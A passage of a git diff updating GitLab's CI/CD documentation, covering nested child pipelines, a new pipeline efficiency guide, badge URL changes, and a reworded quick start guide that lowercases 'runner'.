@@ -124,7 +124,7 @@ gets created. If you want to display the downstream pipeline's status instead, s
NOTE: **Note:**
Bridge jobs do not support every configuration entry that a user can use
-in the case of regular jobs. Bridge jobs will not be picked by a Runner,
+in the case of regular jobs. Bridge jobs will not be picked by a runner,
so there is no point in adding support for `script`, for example. If a user
tries to use unsupported configuration syntax, YAML validation will fail upon
pipeline creation.
@@ -272,7 +272,8 @@ You can trigger a pipeline in your project whenever a pipeline finishes for a ne
tag in a different project:
1. Go to the project's **Settings > CI / CD** page, and expand the **Pipeline subscriptions** section.
-1. Enter the path to the project you want to subscribe to.
+1. Enter the project you want to subscribe to, in the format `<namespace>/<project>`.
+ For example, if the project is `https://gitlab.com/gitlab-org/gitlab`, use `gitlab-org/gitlab`.
1. Click subscribe.
Any pipelines that complete successfully for new tags in the subscribed project
diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md
index 1cfa698bfa5..83fa1d355e6 100644
--- a/doc/ci/parent_child_pipelines.md
+++ b/doc/ci/parent_child_pipelines.md
@@ -150,8 +150,35 @@ We also have an [example project using Dynamic Child Pipelines with Jsonnet](htt
In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail.
This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070).
-## Limitations
+## Nested child pipelines
-A parent pipeline can trigger many child pipelines, but a child pipeline cannot trigger
-further child pipelines. See the [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/29651)
-for discussion on possible future improvements.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) in GitLab 13.4.
+> - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-nested-child-pipelines). **(CORE ONLY)**
+
+Parent and child pipelines were introduced with a maximum depth of one level of child
+pipelines, which was later increased to two. A parent pipeline can trigger many child
+pipelines, and these child pipelines can trigger their own child pipelines. It's not
+possible to trigger another level of child pipelines.
+
+### Enable or disable nested child pipelines **(CORE ONLY)**
+
+Nested child pipelines with a depth of two are under development but ready for
+production use. This feature is deployed behind a feature flag that is **enabled by default**.
+
+[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:ci_child_of_child_pipeline)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:ci_child_of_child_pipeline)
+```
diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png
new file mode 100644
index 00000000000..1715e8224ab
--- /dev/null
+++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_dag_critical_path.png
Binary files differ
diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png
new file mode 100644
index 00000000000..0956e76804e
--- /dev/null
+++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png
Binary files differ
diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md
index 8419b474d54..1b9048089bd 100644
--- a/doc/ci/pipelines/index.md
+++ b/doc/ci/pipelines/index.md
@@ -22,7 +22,7 @@ Pipelines comprise:
- Jobs, which define *what* to do. For example, jobs that compile or test code.
- Stages, which define *when* to run the jobs. For example, stages that run tests after stages that compile the code.
-Jobs are executed by [Runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel,
+Jobs are executed by [runners](../runners/README.md). Multiple jobs in the same stage are executed in parallel,
if there are enough concurrent runners.
If *all* jobs in a stage succeed, the pipeline moves on to the next stage.
@@ -40,7 +40,7 @@ A typical pipeline might consist of four stages, executed in the following order
- A `production` stage, with a job called `deploy-to-prod`.
NOTE: **Note:**
-If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter),
+If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository),
you may need to enable pipeline triggering in your project's
**Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**.
@@ -199,7 +199,7 @@ such as builds, logs, artifacts, and triggers. **This action cannot be undone.**
### Pipeline quotas
Each user has a personal pipeline quota that tracks the usage of shared runners in all personal projects.
-Each group has a [usage quota](../../subscriptions/index.md#ci-pipeline-minutes) that tracks the usage of shared runners for all projects created within the group.
+Each group has a [usage quota](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) that tracks the usage of shared runners for all projects created within the group.
When a pipeline is triggered, regardless of who triggered it, the pipeline quota for the project owner's [namespace](../../user/group/index.md#namespaces) is used. In this case, the namespace can be the user or group that owns the project.
@@ -483,7 +483,7 @@ be found when you are on a [single pipeline page](#view-pipelines). For example:
![Pipelines example](img/pipelines.png)
-[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization-premium) help
+[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization) help
you visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)**
### Pipeline mini graphs
@@ -535,32 +535,3 @@ GitLab provides API endpoints to:
- Trigger pipeline runs. For more information, see:
- [Triggering pipelines through the API](../triggers/README.md).
- [Pipeline triggers API](../../api/pipeline_triggers.md).
-
-## Troubleshooting `fatal: reference is not a tree:`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17043) in GitLab 12.4.
-
-Previously, you'd have encountered unexpected pipeline failures when you force-pushed
-a branch to its remote repository. To illustrate the problem, suppose you've had the current workflow:
-
-1. A user creates a feature branch named `example` and pushes it to a remote repository.
-1. A new pipeline starts running on the `example` branch.
-1. A user rebases the `example` branch on the latest `master` branch and force-pushes it to its remote repository.
-1. A new pipeline starts running on the `example` branch again, however,
- the previous pipeline (2) fails because of `fatal: reference is not a tree:` error.
-
-This is because the previous pipeline cannot find a checkout-SHA (which associated with the pipeline record)
-from the `example` branch that the commit history has already been overwritten by the force-push.
-Similarly, [Pipelines for merged results](../merge_request_pipelines/pipelines_for_merged_results/index.md)
-might have failed intermittently due to [the same reason](../merge_request_pipelines/pipelines_for_merged_results/index.md#intermittently-pipelines-fail-by-fatal-reference-is-not-a-tree-error).
-
-As of GitLab 12.4, we've improved this behavior by persisting pipeline refs exclusively.
-To illustrate its life cycle:
-
-1. A pipeline is created on a feature branch named `example`.
-1. A persistent pipeline ref is created at `refs/pipelines/<pipeline-id>`,
- which retains the checkout-SHA of the associated pipeline record.
- This persistent ref stays intact during the pipeline execution,
- even if the commit history of the `example` branch has been overwritten by force-push.
-1. GitLab Runner fetches the persistent pipeline ref and gets source code from the checkout-SHA.
-1. When the pipeline finished, its persistent ref is cleaned up in a background process.
diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md
index be6886fe6b2..750a76bfaa0 100644
--- a/doc/ci/pipelines/job_artifacts.md
+++ b/doc/ci/pipelines/job_artifacts.md
@@ -47,7 +47,7 @@ when the job fails, or always, by using [`artifacts:when`](../yaml/README.md#art
parameter. GitLab keeps these uploaded artifacts for 1 week, as defined
by the `expire_in` definition. You can keep the artifacts from expiring
via the [web interface](#browsing-artifacts). If the expiry time is not defined, it defaults
-to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration-core-only).
+to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration).
For more examples on artifacts, follow the [artifacts reference in
`.gitlab-ci.yml`](../yaml/README.md#artifacts).
@@ -75,13 +75,13 @@ If you also want the ability to browse the report output files, include the
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
> - Requires GitLab Runner 11.2 and above.
-The `junit` report collects [JUnit XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
+The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
as artifacts. Although JUnit was originally developed in Java, there are many
-[third party ports](https://en.wikipedia.org/wiki/JUnit#Ports) for other
+third party ports for other
languages like JavaScript, Python, Ruby, and so on.
-See [JUnit test reports](../junit_test_reports.md) for more details and examples.
-Below is an example of collecting a JUnit XML file from Ruby's RSpec test tool:
+See [Unit test reports](../unit_test_reports.md) for more details and examples.
+Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool:
```yaml
rspec:
@@ -94,7 +94,7 @@ rspec:
junit: rspec.xml
```
-The collected JUnit reports upload to GitLab as an artifact and display in merge requests.
+The collected Unit test reports upload to GitLab as an artifact and display in merge requests.
NOTE: **Note:**
If the JUnit tool you use exports to multiple XML files, specify
@@ -221,7 +221,7 @@ dashboards.
CAUTION: **Warning:**
This artifact is still valid but is **deprecated** in favor of the
-[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate)
+[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning)
introduced in GitLab 12.8.
The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md)
diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md
index ace765ddb41..77614424b33 100644
--- a/doc/ci/pipelines/pipeline_architectures.md
+++ b/doc/ci/pipelines/pipeline_architectures.md
@@ -199,7 +199,7 @@ trigger_a:
include: a/.gitlab-ci.yml
rules:
- changes:
- - a/*
+ - a/*
trigger_b:
stage: triggers
@@ -207,7 +207,7 @@ trigger_b:
include: b/.gitlab-ci.yml
rules:
- changes:
- - b/*
+ - b/*
```
Example child `a` pipeline configuration, located in `/a/.gitlab-ci.yml`, making
diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md
new file mode 100644
index 00000000000..c4febba8f44
--- /dev/null
+++ b/doc/ci/pipelines/pipeline_efficiency.md
@@ -0,0 +1,252 @@
+---
+stage: Verify
+group: Continuous Integration
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: reference
+---
+
+# Pipeline Efficiency
+
+[CI/CD Pipelines](index.md) are the fundamental building blocks for [GitLab CI/CD](../README.md).
+Making pipelines more efficient helps you save developer time, which:
+
+- Speeds up your DevOps processes
+- Reduces costs
+- Shortens the development feedback loop
+
+It's common that new teams or projects start with slow and inefficient pipelines,
+and improve their configuration over time through trial and error. A better process is
+to use pipeline features that improve efficiency right away, and get a faster software
+development lifecycle earlier.
+
+First ensure you are familiar with [GitLab CI/CD fundamentals](../introduction/index.md)
+and understand the [quick start guide](../quick_start/README.md).
+
+## Identify bottlenecks and common failures
+
+The easiest indicators to check for inefficient pipelines are the runtimes of the jobs,
+stages, and the total runtime of the pipeline itself. The total pipeline duration is
+heavily influenced by the:
+
+- Total number of stages and jobs.
+- Dependencies between jobs.
+- The ["critical path"](#directed-acyclic-graphs-dag-visualization), which represents
+ the minimum and maximum pipeline duration.
+
+Additional points to pay attention relate to [GitLab Runners](../runners/README.md):
+
+- Availability of the runners and the resources they are provisioned with.
+- Build dependencies and their installation time.
+- [Container image size](#docker-images).
+- Network latency and slow connections.
+
+Pipelines frequently failing unnecessarily also causes slowdowns in the development
+lifecycle. You should look for problematic patterns with failed jobs:
+
+- Flaky unit tests which fail randomly, or produce unreliable test results.
+- Test coverage drops and code quality correlated to that behavior.
+- Failures that can be safely ignored, but that halt the pipeline instead.
+- Tests that fail at the end of a long pipeline, but could be in an earlier stage,
+ causing delayed feedback.
+
+## Pipeline analysis
+
+Analyze the performance of your pipeline to find ways to improve efficiency. Analysis
+can help identify possible blockers in the CI/CD infrastructure. This includes analyzing:
+
+- Job workloads.
+- Bottlenecks in the execution times.
+- The overall pipeline architecture.
+
+It's important to understand and document the pipeline workflows, and discuss possible
+actions and changes. Refactoring pipelines may need careful interaction between teams
+in the DevSecOps lifecycle.
+
+Pipeline analysis can help identify issues with cost efficiency. For example, [runners](../runners/README.md)
+hosted with a paid cloud service may be provisioned with:
+
+- More resources than needed for CI/CD pipelines, wasting money.
+- Not enough resources, causing slow runtimes and wasting time.
+
+### Pipeline Insights
+
+The [Pipeline success and duration charts](index.md#pipeline-success-and-duration-charts)
+give information about pipeline runtime and failed job counts.
+
+Tests like [unit tests](../unit_test_reports.md), integration tests, end-to-end tests,
+[code quality](../../user/project/merge_requests/code_quality.md) tests, and others
+ensure that problems are automatically found by the CI/CD pipeline. There could be many
+pipeline stages involved causing long runtimes.
+
+You can improve runtimes by running jobs that test different things in parallel, in
+the same stage, reducing overall runtime. The downside is that you need more runners
+running simultaneously to support the parallel jobs.
+
+The [testing levels for GitLab](../../development/testing_guide/testing_levels.md)
+provide an example of a complex testing strategy with many components involved.
+
+### Directed Acyclic Graphs (DAG) visualization
+
+The [Directed Acyclic Graph](../directed_acyclic_graph/index.md) (DAG) visualization can help analyze the critical path in
+the pipeline and understand possible blockers.
+
+![CI Pipeline Critical Path with DAG](img/ci_efficiency_pipeline_dag_critical_path.png)
+
+### Pipeline Monitoring
+
+Global pipeline health is a key indicator to monitor along with job and pipeline duration.
+[CI/CD analytics](index.md#pipeline-success-and-duration-charts) give a visual
+representation of pipeline health.
+
+Instance administrators have access to additional [performance metrics and self-monitoring](../../administration/monitoring/index.md).
+
+You can fetch specific pipeline health metrics from the [API](../../api/README.md).
+External monitoring tools can poll the API and verify pipeline health or collect
+metrics for long term SLA analytics.
+
+For example, the [GitLab CI Pipelines Exporter](https://github.com/mvisonneau/gitlab-ci-pipelines-exporter)
+for Prometheus fetches metrics from the API. It can check branches in projects automatically
+and get the pipeline status and duration. In combination with a Grafana dashboard,
+this helps build an actionable view for your operations team. Metric graphs can also
+be embedded into incidents making problem resolving easier.
+
+![Grafana Dashboard for GitLab CI Pipelines Prometheus Exporter](img/ci_efficiency_pipeline_health_grafana_dashboard.png)
+
+Alternatively, you can use a monitoring tool that can execute scripts, like
+[`check_gitlab`](https://gitlab.com/6uellerBpanda/check_gitlab) for example.
+
+#### Runner monitoring
+
+You can also [monitor CI runners](https://docs.gitlab.com/runner/monitoring/) on
+their host systems, or in clusters like Kubernetes. This includes checking:
+
+- Disk and disk IO
+- CPU usage
+- Memory
+- Runner process resources
+
+The [Prometheus Node Exporter](https://prometheus.io/docs/guides/node-exporter/)
+can monitor runners on Linux hosts, and [`kube-state-metrics`](https://github.com/kubernetes/kube-state-metrics)
+runs in a Kubernetes cluster.
+
+You can also test [GitLab Runner auto-scaling](https://docs.gitlab.com/runner/configuration/autoscale.html)
+with cloud providers, and define offline times to reduce costs.
+
+#### Dashboards and incident management
+
+Use your existing monitoring tools and dashboards to integrate CI/CD pipeline monitoring,
+or build them from scratch. Ensure that the runtime data is actionable and useful
+in teams, and operations/SREs are able to identify problems early enough.
+[Incident management](../../operations/incident_management/index.md) can help here too,
+with embedded metric charts and all valuable details to analyze the problem.
+
+### Storage usage
+
+Review the storage use of the following to help analyze costs and efficiency:
+
+- [Job artifacts](job_artifacts.md) and their [`expire_in`](../yaml/README.md#artifactsexpire_in)
+ configuration. If kept for too long, storage usage grows and could slow pipelines down.
+- [Container registry](../../user/packages/container_registry/index.md) usage.
+- [Package registry](../../user/packages/package_registry/index.md) usage.
+
+## Pipeline configuration
+
+Make careful choices when configuring pipelines to speed up pipelines and reduce
+resource usage. This includes making use of GitLab CI/CD's built-in features that
+make pipelines run faster and more efficiently.
+
+### Reduce how often jobs run
+
+Try to find which jobs don't need to run in all situations, and use pipeline configuration
+to stop them from running:
+
+- Use the [`interruptible`](../yaml/README.md#interruptible) keyword to stop old pipelines
+ when they are superceded by a newer pipeline.
+- Use [`rules`](../yaml/README.md#rules) to skip tests that aren't needed. For example,
+ skip backend tests when only the frontend code is changed.
+- Run non-essential [scheduled pipelines](schedules.md) less frequently.
+
+### Fail fast
+
+Ensure that errors are detected early in the CI/CD pipeline. A job that takes a very long
+time to complete keeps a pipeline from returning a failed status until the job completes.
+
+Design pipelines so that jobs that can [fail fast](../../user/project/merge_requests/fail_fast_testing.md)
+run earlier. For example, add an early stage and move the syntax, style linting,
+Git commit message verification, and similar jobs in there.
+
+Decide if it's important for long jobs to run early, before fast feedback from
+faster jobs. The initial failures may make it clear that the rest of the pipeline
+shouldn't run, saving pipeline resources.
+
+### Directed Acyclic Graphs (DAG)
+
+In a basic configuration, jobs always wait for all other jobs in earlier stages to complete
+before running. This is the simplest configuration, but it's also the slowest in most
+cases. [Directed Acyclic Graphs](../directed_acyclic_graph/index.md) and
+[parent/child pipelines](../parent_child_pipelines.md) are more flexible and can
+be more efficient, but can also make pipelines harder to understand and analyze.
+
+### Caching
+
+Another optimization method is to use [caching](../caching/index.md) between jobs and stages,
+for example [`/node_modules` for NodeJS](../caching/index.md#caching-nodejs-dependencies).
+
+### Docker Images
+
+Downloading and initializing Docker images can be a large part of the overall runtime
+of jobs.
+
+If a Docker image is slowing down job execution, analyze the base image size and network
+connection to the registry. If GitLab is running in the cloud, look for a cloud container
+registry offered by the vendor. In addition to that, you can make use of the
+[GitLab container registry](../../user/packages/container_registry/index.md) which can be accessed
+by the GitLab instance faster than other registries.
+
+#### Optimize Docker images
+
+Build optimized Docker images because large Docker images use up a lot of space and
+take a long time to download with slower connection speeds. If possible, avoid using
+one large image for all jobs. Use multiple smaller images, each for a specific task,
+that download and run faster.
+
+Try to use custom Docker images with the software pre-installed. It's usually much
+faster to download a larger pre-configured image than to use a common image and install
+software on it each time. Docker's [Best practices for writing Dockerfiles](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)
+has more information about building efficient Docker images.
+
+Methods to reduce Docker image size:
+
+- Use a small base image, for example `debian-slim`.
+- Do not install convenience tools like vim, curl, and so on, if they aren't strictly needed.
+- Create a dedicated development image.
+- Disable man pages and docs installed by packages to save space.
+- Reduce the `RUN` layers and combine software installation steps.
+- If using `apt`, add `--no-install-recommends` to avoid unnecessary packages.
+- Clean up caches and files that are no longer needed at the end. For example
+ `rm -rf /var/lib/apt/lists/*` for Debian and Ubuntu, or `yum clean all` for RHEL and CentOS.
+- Use tools like [dive](https://github.com/wagoodman/dive) or [DockerSlim](https://github.com/docker-slim/docker-slim)
+ to analyze and shrink images.
+
+To simplify Docker image management, you can create a dedicated group for managing
+[Docker images](../docker/README.md) and test, build and publish them with CI/CD pipelines.
+
+## Test, document, and learn
+
+Improving pipelines is an iterative process. Make small changes, monitor the effect,
+then iterate again. Many small improvements can add up to a large increase in pipeline
+efficiency.
+
+It can help to document the pipeline design and architecture. You can do this with
+[Mermaid charts in Markdown](../../user/markdown.md#mermaid) directly in the GitLab
+repository.
+
+Document CI/CD pipeline problems and incidents in issues, including research done
+and solutions found. This helps onboarding new team members, and also helps
+identify recurring problems with CI pipeline efficiency.
+
+### Learn More
+
+- [CI Monitoring Webcast Slides](https://docs.google.com/presentation/d/1ONwIIzRB7GWX-WOSziIIv8fz1ngqv77HO1yVfRooOHM/edit?usp=sharing)
+- [GitLab.com Monitoring Handbook](https://about.gitlab.com/handbook/engineering/monitoring/)
+- [Buildings dashboards for operational visibility](https://aws.amazon.com/builders-library/building-dashboards-for-operational-visibility/)
diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md
index 40093167213..849eb66d07f 100644
--- a/doc/ci/pipelines/settings.md
+++ b/doc/ci/pipelines/settings.md
@@ -57,17 +57,17 @@ The default value is 60 minutes. Decrease the time limit if you want to impose
a hard limit on your jobs' running time or increase it otherwise. In any case,
if the job surpasses the threshold, it is marked as failed.
-### Timeout overriding on Runner level
+### Timeout overriding for runners
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7.
Project defined timeout (either specific timeout set by user or the default
-60 minutes timeout) may be [overridden on Runner level](../runners/README.md#set-maximum-job-timeout-for-a-runner).
+60 minutes timeout) may be [overridden for runners](../runners/README.md#set-maximum-job-timeout-for-a-runner).
## Maximum artifacts size **(CORE ONLY)**
For information about setting a maximum artifact size for a project, see
-[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only).
+[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size).
## Custom CI configuration path
@@ -263,7 +263,15 @@ Depending on the status of your job, a badge can have the following values:
You can access a pipeline status badge image using the following link:
```plaintext
-https://example.gitlab.com/<namespace>/<project>/badges/<branch>/pipeline.svg
+https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg
+```
+
+#### Display only non-skipped status
+
+If you want the pipeline status badge to only display the last non-skipped status, you can use the `?ignore_skipped=true` query parameter:
+
+```plaintext
+https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true
```
### Test coverage report badge
@@ -275,7 +283,7 @@ pipeline can have the test coverage percentage value defined.
The test coverage badge can be accessed using following link:
```plaintext
-https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg
+https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg
```
If you would like to get the coverage report from a specific job, you can add
@@ -294,7 +302,7 @@ Pipeline badges can be rendered in different styles by adding the `style=style_n
#### Flat (default)
```plaintext
-https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat
+https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat
```
![Badge flat style](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=coverage&style=flat)
@@ -304,7 +312,7 @@ https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?st
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30120) in GitLab 11.8.
```plaintext
-https://example.gitlab.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square
+https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg?style=flat-square
```
![Badge flat square style](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=coverage&style=flat-square)
diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md
index 050df243af4..fa16614b0e0 100644
--- a/doc/ci/quick_start/README.md
+++ b/doc/ci/quick_start/README.md
@@ -11,9 +11,9 @@ GitLab offers a [continuous integration](https://about.gitlab.com/stages-devops-
[pipeline](../pipelines/index.md), you must:
- Add a [`.gitlab-ci.yml` file](#creating-a-gitlab-ciyml-file) to your repository's root directory.
-- Ensure your project is configured to use a [Runner](#configuring-a-runner).
+- Ensure your project is configured to use a [runner](#configuring-a-runner).
-The `.gitlab-ci.yml` file tells the GitLab Runner what to do. A simple pipeline commonly has
+The `.gitlab-ci.yml` file tells the runner what to do. A simple pipeline commonly has
three [stages](../yaml/README.md#stages):
- `build`
@@ -57,7 +57,7 @@ The `.gitlab-ci.yml` file is where you configure what CI does with your project.
It lives in the root of your repository.
On any push to your repository, GitLab will look for the `.gitlab-ci.yml`
-file and start jobs on _Runners_ according to the contents of the file,
+file and start jobs on _runners_ according to the contents of the file,
for that commit.
Because `.gitlab-ci.yml` is in the repository and is version controlled, old
@@ -80,14 +80,15 @@ so you have to pay extra attention to indentation. Always use spaces, not tabs.
Below is an example for a Ruby on Rails project:
```yaml
-image: "ruby:2.5"
-
-before_script:
- - sudo apt-get update -qq && sudo apt-get install -y -qq sqlite3 libsqlite3-dev nodejs
- - ruby -v
- - which ruby
- - gem install bundler --no-document
- - bundle install --jobs $(nproc) "${FLAGS[@]}"
+default:
+ image: ruby:2.5
+ before_script:
+ - apt-get update
+ - apt-get install -y sqlite3 libsqlite3-dev nodejs
+ - ruby -v
+ - which ruby
+ - gem install bundler --no-document
+ - bundle install --jobs $(nproc) "${FLAGS[@]}"
rspec:
script:
@@ -109,7 +110,7 @@ The `.gitlab-ci.yml` file defines sets of jobs with constraints of how and when
they should be run. The jobs are defined as top-level elements with a name (in
our case `rspec` and `rubocop`) and always have to contain the `script` keyword.
Jobs are used to create jobs, which are then picked by
-[Runners](../runners/README.md) and executed within the environment of the Runner.
+[runners](../runners/README.md) and executed within the environment of the runner.
What is important is that each job is run independently from each other.
@@ -134,7 +135,7 @@ Now if you go to the **Pipelines** page you will see that the pipeline is
pending.
NOTE: **Note:**
-If you have a [mirrored repository where GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter),
+If you have a [mirrored repository where GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository),
you may need to enable pipeline triggering in your project's
**Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**.
@@ -148,59 +149,54 @@ Clicking on it you will be directed to the jobs page for that specific commit.
![Single commit jobs page](img/single_commit_status_pending.png)
Notice that there is a pending job which is named after what we wrote in
-`.gitlab-ci.yml`. "stuck" indicates that there is no Runner configured
+`.gitlab-ci.yml`. "stuck" indicates that there is no runner configured
yet for this job.
-The next step is to configure a Runner so that it picks the pending jobs.
+The next step is to configure a runner so that it picks the pending jobs.
-## Configuring a Runner
+## Configuring a runner
-In GitLab, Runners run the jobs that you define in `.gitlab-ci.yml`. A Runner
-can be a virtual machine, a VPS, a bare-metal machine, a Docker container or
-even a cluster of containers. GitLab and the Runners communicate through an API,
-so the only requirement is that the Runner's machine has network access to the
+In GitLab, runners run the jobs that you define in `.gitlab-ci.yml`. A runner
+can be a virtual machine, a VPS, a bare-metal machine, a Docker container, or
+even a cluster of containers. GitLab and the runner communicate through an API,
+so the only requirement is that the runner's machine has network access to the
GitLab server.
-A Runner can be specific to a certain project or serve multiple projects in
-GitLab. If it serves all projects it's called a _Shared Runner_.
-
-Find more information about different Runners in the
-[Runners](../runners/README.md) documentation.
+A runner can be specific to a certain project or serve multiple projects in
+GitLab. If it serves all projects, it's called a _shared runner_.
-You can find whether any Runners are assigned to your project by going to
-**Settings âž” CI/CD**. Setting up a Runner is easy and straightforward. The
-official Runner supported by GitLab is written in Go and its documentation
-can be found at <https://docs.gitlab.com/runner/>.
+Find more information about runners in the
+[runner](../runners/README.md) documentation.
-In order to have a functional Runner you need to follow two steps:
+The official runner supported by GitLab is written in Go.
+View [the documentation](https://docs.gitlab.com/runner/).
-1. [Install it](https://docs.gitlab.com/runner/install/)
-1. [Configure it](https://docs.gitlab.com/runner/configuration/)
+For a runner to be available in GitLab, you must:
-Follow the links above to set up your own Runner or use a Shared Runner as
-described in the next section.
+1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/).
+1. [Register a runner for your group or project](https://docs.gitlab.com/runner/register/).
-Once the Runner has been set up, you should see it on the Runners page of your
-project, following **Settings âž” CI/CD**.
+When a runner is available, you can view it by
+clicking **Settings > CI/CD** and expanding **Runners**.
![Activated runners](img/runners_activated.png)
-### Shared Runners
+### Shared runners
-If you use [GitLab.com](https://gitlab.com/) you can use the **Shared Runners**
-provided by GitLab Inc.
+If you use [GitLab.com](https://gitlab.com/), you can use the **shared runners**
+provided by GitLab.
These are special virtual machines that run on GitLab's infrastructure and can
build any project.
-To enable the **Shared Runners** you have to go to your project's
-**Settings âž” CI/CD** and click **Enable shared runners**.
+To enable shared runners, go to your project's or group's
+**Settings > CI/CD** and click **Enable shared runners**.
-[Read more on Shared Runners](../runners/README.md).
+[Read more about shared runners](../runners/README.md#shared-runners).
-## Seeing the status of your pipeline and jobs
+## Viewing the status of your pipeline and jobs
-After configuring the Runner successfully, you should see the status of your
+After configuring the runner successfully, you should see the status of your
last commit change from _pending_ to either _running_, _success_ or _failed_.
You can view all pipelines by going to the **Pipelines** page in your project.
@@ -220,7 +216,10 @@ you expected.
You are also able to view the status of any commit in the various pages in
GitLab, such as **Commits** and **Merge requests**.
-## Examples
+## Additional resources
Visit the [examples README](../examples/README.md) to see a list of examples using GitLab
CI with various languages.
+
+For help making your new pipelines faster and more efficient, see the
+[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md).
diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md
index 283e4c69941..e2d5cbcbea4 100644
--- a/doc/ci/review_apps/index.md
+++ b/doc/ci/review_apps/index.md
@@ -46,8 +46,8 @@ In this example, a branch was:
After adding Review Apps to your workflow, you follow the branched Git flow. That is:
-1. Push a branch and let the Runner deploy the Review App based on the `script` definition of the dynamic environment job.
-1. Wait for the Runner to build and deploy your web application.
+1. Push a branch and let the runner deploy the Review App based on the `script` definition of the dynamic environment job.
+1. Wait for the runner to build and deploy your web application.
1. Click on the link provided in the merge request related to the branch to see the changes live.
## Configuring Review Apps
@@ -57,7 +57,7 @@ Review Apps are built on [dynamic environments](../environments/index.md#configu
The process of configuring Review Apps is as follows:
1. Set up the infrastructure to host and deploy the Review Apps (check the [examples](#review-apps-examples) below).
-1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a Runner to do deployment.
+1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a runner to do deployment.
1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI environment variable](../variables/README.md) `${CI_COMMIT_REF_NAME}`
to create dynamic environments and restrict it to run only on branches.
Alternatively, you can get a YML template for this job by [enabling review apps](#enable-review-apps-button) for your project.
@@ -130,20 +130,20 @@ deployed from its [project on GitLab.com](https://gitlab.com/gitlab-com/www-gitl
```yaml
# Team data
-- source: 'data/team.yml' # data/team.yml
- public: 'team/' # team/
+- source: 'data/team.yml' # data/team.yml
+ public: 'team/' # team/
# Blogposts
